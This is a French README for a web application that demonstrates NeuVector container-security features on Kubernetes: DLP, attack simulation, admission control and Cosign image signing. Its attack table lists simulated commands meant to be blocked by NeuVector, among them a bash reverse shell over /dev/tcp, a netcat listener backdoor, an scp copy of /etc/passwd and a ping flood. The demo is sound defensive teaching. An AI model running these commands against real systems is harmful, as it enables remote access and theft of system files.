Application web interactive pour exécuter des démonstrations NeuVector sur un cluster Kubernetes.
Version actuelle : 2.1.3
| Démo | Description |
|---|---|
| DLP Detection | Envoi de données sensibles (carte crédit, SSN, passeport) avec détection/blocage DLP |
| Attack Simulation | Simulation d'attaques (DoS Flood, NC Backdoor, SCP Transfer, Reverse Shell) |
| Admission Control | Création de pods dans des namespaces autorisés/interdits |
| Image Signature (Sigstore) | Vérification de signature d'images Cosign — images signées autorisées, non signées bloquées |
- Visualisation interactive : Diagramme Source → Target avec état de la connexion en temps réel
- Contrôles NeuVector : Network Policy, Process Profile, Baseline configurables en direct
- Network Rules : Affichage des règles réseau apprises avec warning en mode Protect
- DLP Sensors : Activation/désactivation des sensors avec mode Alert ou Block
- Mode Icons : Indicateurs visuels (🔒/🔍/👁️) montrant l'état Protect/Monitor/Discover
- NeuVector Events : Incidents et violations détectés en temps réel
- Allowed Processes : Gestion des règles de process (ajout/suppression)
- Diagnostics : Vérification complète de l'environnement
- Synchronisation : Validation de l'état NeuVector avant exécution des attaques
- Warning Discover : Popup d'avertissement si la politique réseau est en Discover lors d'une attaque
- 4 langues : Anglais, Français, Allemand, Espagnol (traduction complète de l'interface)
- Mode sombre : Toggle dark mode avec persistence
- Logo et titre : Personnalisables avec contrôle de taille
- Image Registry : Configuration dynamique du registre d'images
| État | Source | Flèche | Target | Description |
|---|---|---|---|---|
| Pending | Gris | Gris pointillé | Gris | Avant exécution |
| Running | Bleu pulsant | Bleu animé | Bleu | En cours |
| Success | Vert | Vert plein | Vert | Communication OK |
| Network Blocked | Orange | Rouge barré | Rouge | Réseau bloqué |
| Process Intercepted | Rouge barré | Rouge barré | Gris | Process bloqué |
- Network Policy : Discover / Monitor / Protect
- Process Profile : Discover / Monitor / Protect
- Baseline : Basic / Zero Drift
- Allowed Processes : Liste avec suppression
- Network Rules : Règles apprises avec warning ambre en Protect
Tests réalisés (espion1 → cible1, TCP/22) :
| Source | Destination | Résultat |
|---|---|---|
| Discover | * | PASSE (Discover force l'autorisation pour apprentissage) |
| Monitor | Monitor | PASSE (violations logguées) |
| Monitor | Protect | BLOQUÉ (ingress bloqué par la cible) |
| Protect | Monitor | BLOQUÉ (egress bloqué par la source) |
| Protect | Protect | BLOQUÉ (bloqué des deux côtés) |
Note : Un seul pod en Protect suffit pour bloquer le trafic, sauf si l'autre est en Discover (Discover force l'autorisation).
┌─────────────────────────────────────────────────────────────────┐
│ Browser │
│ ┌───────────────────────────────────────────────────────────┐ │
│ │ Visualization │ NeuVector Events │ Network Rules │ │
│ │ [Source]──────►[Target] │ Allowed Processes │ │
│ │ 🔒🔍 Status │ Incidents/DLP │ IN/OUT rules │ │
│ └───────────────────────────────────────────────────────────┘ │
└──────────────────────────┬──────────────────────────────────────┘
│ WebSocket / HTTP
▼
┌──────────────────────────────────────────────────────────────────┐
│ FastAPI Pod (neuvector-demo) │
│ ┌────────────┐ ┌─────────────────┐ ┌───────────────────────┐ │
│ │ WebSocket │ │ NeuVector API │ │ kubectl (in-cluster) │ │
│ │ Streaming │ │ Client │ │ exec, apply, get... │ │
│ └────────────┘ └─────────────────┘ └───────────────────────┘ │
└──────────────────────────┬──────────────────────────────────────┘
│
┌──────────────────┼──────────────────┐
▼ ▼ ▼
┌───────────────┐ ┌───────────────┐ ┌───────────────┐
│ Demo Pods │ │ NeuVector │ │ Kubernetes │
│ espion1 │ │ Controller │ │ API Server │
│ cible1 │ │ REST API │ │ │
└───────────────┘ └───────────────┘ └───────────────┘
neuvector-demo-web/
├── app/
│ ├── main.py # Application FastAPI
│ ├── config.py # Configuration (version, registre, etc.)
│ ├── api/
│ │ ├── routes.py # Endpoints REST + NeuVector API
│ │ └── websocket.py # WebSocket handlers
│ ├── core/
│ │ ├── kubectl.py # Wrapper kubectl sécurisé
│ │ ├── neuvector_api.py # Client API NeuVector (groups, process, network rules, DLP, admission)
│ │ └── websocket_manager.py
│ ├── demos/ # Modules de démo
│ │ ├── base.py # Classe abstraite
│ │ ├── dlp.py # Démo DLP
│ │ ├── attack.py # Démo Attack Simulation
│ │ ├── admission.py # Démo Admission Control
│ │ ├── sigstore.py # Démo Sigstore Image Signature
│ │ └── registry.py # Auto-registration
│ └── lifecycle/ # Actions prepare/reset/status
│ ├── prepare.py
│ ├── reset.py
│ └── status.py
├── static/
│ ├── css/style.css # Styles (light + dark mode)
│ ├── favicon.svg # Favicon
│ └── js/
│ ├── i18n.js # Internationalisation (217 clés × 4 langues)
│ ├── main.js # Logique UI + Settings + Visualisations
│ └── websocket.js # Client WebSocket
├── templates/
│ └── index.html # Interface SPA avec cache-busting
├── sigstore/
│ ├── cosign.key # Clé privée Cosign (démo uniquement)
│ └── cosign.pub # Clé publique Cosign (embarquée dans l'image)
├── manifests/
│ ├── deployment.yaml
│ ├── deployment-registry.yaml
│ ├── registry.yaml # Registre OCI pour la démo Sigstore (NodePort 30500)
│ ├── rbac.yaml
│ └── demo-pods.yaml # Pods de test (espion1, cible1) avec services (ports 80, 22)
├── scripts/
│ ├── deploy.sh
│ ├── deploy-registry.sh
│ ├── redeploy.sh
│ └── undeploy.sh
├── Dockerfile
└── requirements.txt
- Cluster Kubernetes (RKE2/K3s) avec NeuVector installé
kubectlconfiguré avec accès au cluster- Podman ou Docker pour builder l'image
# Build
podman build --no-cache -t neuvector-demo-web:latest .
# Export, copie et import sur le noeud
podman save neuvector-demo-web:latest -o /tmp/neuvector-demo-web.tar
scp /tmp/neuvector-demo-web.tar rancher@<NODE_IP>:/tmp/
ssh rancher@<NODE_IP> "sudo /var/lib/rancher/rke2/bin/ctr \
--address /run/k3s/containerd/containerd.sock \
-n k8s.io images import /tmp/neuvector-demo-web.tar"
# Restart du deployment
kubectl rollout restart deployment/neuvector-demo-web -n neuvector-demo# Build des images de pods de test
podman build -t demo-production1:latest images/production1/
podman build -t demo-web1:latest images/web1/
# Import sur le noeud (même procédure que ci-dessus)| URL | Description |
|---|---|
http://<NODE_IP>:30080 |
Interface web |
http://<NODE_IP>:30080/api/health |
Health check |
http://<NODE_IP>:30080/api/version |
Version |
http://<NODE_IP>:30080/api/demos |
Liste des démos |
- Ouvrir l'interface :
http://<NODE_IP>:30080 - Configurer : ⚙️ Settings → Credentials → entrer le password NeuVector
- Préparer : ⚙️ Settings → Preparation → Prepare pour déployer les pods
- Choisir une démo : Menu latéral
- Configurer les modes : Network Policy et Process Profile sur chaque pod
- Exécuter : Cliquer sur un bouton d'attaque
- Observer : Visualisation, Events, Console
| Attaque | Commande | Protection NeuVector |
|---|---|---|
| 🔥 FLOOD | ping -s 40000 -c 5 <target> |
Network Rules (ICMP) |
| 🚪 BACKDOOR | nc -l 4444 |
Process Profile (nc non autorisé) |
| 📁 SCP | scp /etc/passwd root@<target>:/tmp/ |
Network Rules + Process Profile |
| 🐚 SHELL | bash -i >& /dev/tcp/<target>/4444 0>&1 |
Process Profile (processus non autorisé) |
- Activer un sensor DLP en mode Block
- Mettre Network Policy en Protect
- Lancer le test → NeuVector bloque les données sensibles
- Sélectionner un namespace Forbidden
- Cliquer Create Pod → bloqué par Admission Control
- Sélectionner un namespace Allowed → pod créé avec succès
Vérifie les signatures d'images conteneur avec Cosign/Sigstore. Les images signées sont autorisées, les non signées sont bloquées par Admission Control.
-
Cosign installé sur la machine de build :
# openSUSE / SLES zypper install cosign # ou téléchargement direct curl -LO https://github.com/sigstore/cosign/releases/latest/download/cosign-linux-amd64 install cosign-linux-amd64 /usr/local/bin/cosign
-
Registre OCI déployé dans le cluster :
kubectl apply -f manifests/registry.yaml # Vérifie que le registre est accessible sur NodePort 30500 curl -k https://<NODE_IP>:30500/v2/
-
Images de démo construites, poussées et signées :
NODE_IP=172.16.3.21 # Construire une image de test echo "FROM alpine:latest" | podman build -t demo-signed:latest - echo "FROM alpine:latest" | podman build -t demo-unsigned:latest - # Pousser vers le registre podman push --tls-verify=false demo-signed:latest ${NODE_IP}:30500/demo-signed:latest podman push --tls-verify=false demo-unsigned:latest ${NODE_IP}:30500/demo-unsigned:latest # Signer l'image avec le keypair inclus dans le repo (sigstore/) cosign sign --key sigstore/cosign.key --tls-verify=false ${NODE_IP}:30500/demo-signed:latest
-
Scanner NeuVector Prime : le scanner doit être l'image Prime (
registry.suse.com/rancher/mirrored-neuvector-scanner:latest) pour supporter la vérification de signature. -
TLS : si le registre est self-signed, désactiver la vérification TLS dans NeuVector (Admin → Settings).
- Sélectionner la démo Image Signature Verification
- Cliquer Setup → crée Root of Trust, Verifier keypair, configure le scan registre, crée la règle admission deny pour images non signées
- Attendre le scan du registre → les images apparaissent avec leur statut (SIGNED / NOT SIGNED)
- Cliquer Deploy sur l'image signée → pod créé avec succès
- Cliquer Deploy sur l'image non signée → bloqué par Admission Control
- Cliquer Cleanup → supprime les ressources Sigstore
Le mode kiosk exécute automatiquement des scénarios de démo avec des bulles explicatives contextuelles.
Lancement : Cliquer ▶ dans le header → sélectionner les sections → options → démarrer
Options :
- Sections : cocher/décocher les parties du scénario à exécuter
- Boucle : le scénario redémarre automatiquement quand il se termine
- Manuel : un bouton flottant "Next step" apparaît en bas de l'écran, l'utilisateur valide chaque étape
Éditeur : Cliquer ✏️ dans le header pour ouvrir l'éditeur de scénario
- Palette à gauche : types d'étapes disponibles (cliquer pour ajouter)
- Timeline à droite : drag & drop pour réordonner, × pour supprimer
- Charger défaut / Enregistrer
Types d'étapes :
| Type | Description |
|---|---|
| 📂 Section | Marqueur de section (pour le sélecteur) |
| 🔃 Reset platform | Remet tous les pods en Discover/zero-drift |
| 📌 Select demo | Charge une démo spécifique |
| 🔄 Change mode | Modifie Network Policy ou Process Profile |
| ⚔️ Run attack | Lance une attaque spécifique |
| 💬 Show bubble | Affiche une bulle explicative sur un élément |
| 🚫 Hide bubbles | Masque toutes les bulles |
| ⏳ Wait completion | Attend la fin de l'exécution en cours |
| ⏱ Pause | Attend N secondes |
| Variable | Default | Description |
|---|---|---|
HOST |
0.0.0.0 |
Adresse d'écoute |
PORT |
8080 |
Port d'écoute |
DEMO_NAMESPACE |
neuvector-demo |
Namespace pour les démos |
NEUVECTOR_NAMESPACE |
neuvector |
Namespace NeuVector |
NEUVECTOR_API_URL |
https://neuvector-svc-controller.neuvector:10443 |
URL API NeuVector |
DEMO_IMAGE_REGISTRY |
localhost |
Registre pour les images de démo |
| Clé | Description |
|---|---|
neuvector_settings |
Credentials NeuVector |
neuvector_api_url |
URL personnalisée de l'API |
neuvector_registry |
URL du registre d'images |
neuvector_title |
Titre personnalisé |
neuvector_title_size |
Taille du titre (px) |
neuvector_logo |
Logo personnalisé (base64) |
neuvector_logo_size |
Taille du logo (px) |
neuvector_language |
Langue (en/fr/de/es) |
neuvector_dark_mode |
Mode sombre (true/false) |
| Endpoint | Method | Description |
|---|---|---|
/api/health |
GET | Health check |
/api/version |
GET | Version et info Git |
/api/demos |
GET | Liste des démos |
/api/cluster-info |
GET | Info cluster Kubernetes |
/api/diagnostics |
POST | Diagnostics complets |
| Endpoint | Method | Description |
|---|---|---|
/api/neuvector/test |
POST | Test de connexion API |
/api/neuvector/pod-info |
POST | Info groupe + process profile + network rules |
/api/neuvector/update-group |
POST | Modifier policy/profile mode |
/api/neuvector/reset-demo-rules |
POST | Reset des règles démo |
/api/neuvector/delete-process-rule |
POST | Supprimer un process autorisé |
/api/neuvector/delete-network-rule |
POST | Supprimer une règle réseau |
/api/neuvector/recent-events |
POST | Événements récents |
/api/neuvector/dlp-config |
POST | Configuration DLP |
/api/neuvector/update-dlp-sensor |
POST | Activer/désactiver un sensor DLP |
/api/neuvector/admission-state |
POST | État Admission Control |
/api/neuvector/update-admission-state |
POST | Activer/désactiver Admission Control |
/api/neuvector/admission-rules |
POST | Règles d'admission |
/api/neuvector/create-admission-rule |
POST | Créer une règle d'admission |
/api/neuvector/delete-admission-rule |
POST | Supprimer une règle d'admission |
/api/neuvector/admission-events |
POST | Événements d'admission |
/api/neuvector/sigstore-status |
POST | État Sigstore (Root of Trust, Verifiers) |
/api/neuvector/sigstore-image-status |
POST | Statut de signature des images du registre |
- Démo Attack : découplage sélection et exécution — un clic sur FLOOD/BACKDOOR/SCP/SHELL sélectionne l'attaque sans la lancer
- Démo Attack : nouveau bouton PLAY circulaire au centre de la flèche entre l'attaquant et la cible pour lancer l'attaque sélectionnée
- Démos Admission Control et Sigstore : horloge temps réel et bouton 🗑 pour purger les logs dans le panneau d'événements (cohérence avec les autres démos)
- i18n : ajout des clés
attack.play/attack.runAttack(en/fr/de/es)
- Fix : ajout des verbs
patchetupdatesurnamespacesdans le RBAC ClusterRole (nécessaire pourkubectl applysur un namespace existant) - Fix : ajout des polices emoji en fallback dans le font-family (
Apple Color Emoji,Segoe UI Emoji,Noto Color Emoji) pour assurer le rendu des icônes sur Chromium/Chrome Linux - Note : sur Linux, installer
noto-coloremoji-fonts(openSUSE/SLES) ou équivalent si les icônes ne s'affichent pas
- Fix : les listes "Allowed Processes" et "Network Rules" ne disparaissent plus par intermittence
- Guard de concurrence dans
updateVizPodInfopour éviter les appels simultanés - Préservation du contenu existant en cas d'erreur API (ne remplace plus par "not configured")
- Fix
refreshAllPodInfopour rafraîchir aussi le target de la démo Attack
- Visualisation dédiée pour la démo Sigstore (style panneau comme Admission Control)
- Panneau Config : Root of Trust, Verifier, avec boutons Setup/Cleanup
- Panneau Images : liste les images du registre avec statut signé/non signé et bouton Deploy
- Panneau Events : événements d'admission (autorisé/bloqué)
- Endpoint
/api/neuvector/sigstore-image-status(vérifie les signatures individuelles) - Règle admission scopée au registre démo uniquement (ne bloque plus l'app elle-même)
- 277 clés i18n synchronisées (en/fr/de/es)
- Nouvelle démo Sigstore Image Signature Verification (Supply Chain Security)
- Vérification de signature d'images via Cosign/Sigstore
- Setup automatisé : Root of Trust, Verifier keypair, règle admission
- Deploy Signed Image (autorisé) vs Deploy Unsigned Image (bloqué)
- Cleanup des ressources Sigstore
- Registre Zot HTTPS (OCI-native) déployé dans le cluster (NodePort 30500)
- Nécessite le scanner Prime (
registry.suse.com/rancher/mirrored-neuvector-scanner:latest) - TLS verification doit être désactivée dans NeuVector pour le registre self-signed
- API NeuVector Sigstore : roots of trust, verifiers (CRUD)
- Endpoint
/api/neuvector/sigstore-statuspour l'état des verifiers - 263 clés i18n synchronisées (en/fr/de/es)
- Mode Kiosk : exécution automatique de scénarios de démo avec bulles contextuelles
- Sections sélectionnables : choisir quelles parties du scénario exécuter
- Mode boucle infinie : le scénario redémarre automatiquement à la fin
- Mode manuel : chaque étape attend la validation de l'utilisateur (bouton flottant)
- Éditeur de scénario drag & drop avec types : section, reset_platform, select_demo, set_mode, run_attack, show_bubble, wait
- Scénario par défaut avec 3 attaques : SCP Transfer, NC Backdoor, Reverse Shell
- Reset automatique de la plateforme au début du scénario
- Bulles contextuelles explicatives pointant vers les éléments de l'interface
- 261 clés i18n synchronisées (en/fr/de/es)
- Le warning Discover ne s'affiche plus quand les deux pods sont en Discover (uniquement quand un seul l'est)
- Les network rules se rafraîchissent automatiquement après chaque exécution de démo
- Ajout d'un bouton refresh (↻) dans le header de la section Network Rules
- Rechargement de la page au changement de langue pour traduire tout le contenu dynamique
- Couverture i18n complète (217 clés × 4 langues)
- Mode sombre avec toggle dans Settings > Cosmetics
- Traduction des noms de démos et catégories dans le sidebar
- Correction de 11 chaînes hardcodées
- Fix du bug
currentDemoType = null(causait l'absence du warning Discover) - Cache-busting avec
?v=VERSIONsur les assets statiques
- Synchronisation de l'état NeuVector avant exécution (polling + UI disabled)
- Warning popup quand la politique réseau est en Discover
- Ajout du port SSH (22) au Service cible1 pour les attaques SCP
- Suppression du bandeau Global Policy (non nécessaire)
- Bandeau "NeuVector Global Policy" (expérimental, retiré en 1.5.1)
- Affichage des règles réseau apprises dans les pod boxes
- Warning ambre quand des règles apprises existent en mode Protect
- Suppression individuelle des règles réseau
- Endpoint
delete-network-rule
- Internationalisation : Anglais, Français, Allemand, Espagnol
- Sélecteur de langue dans Settings > Cosmetics
- Contrôles de taille pour le titre et le logo
- Favicon SVG
- Configuration dynamique du registre d'images
- Bouton "Test Registry"
- Démo Admission Control
- Diagnostics complets
- Reset des règles NeuVector
- Version initiale : DLP Detection, visualisation interactive
MIT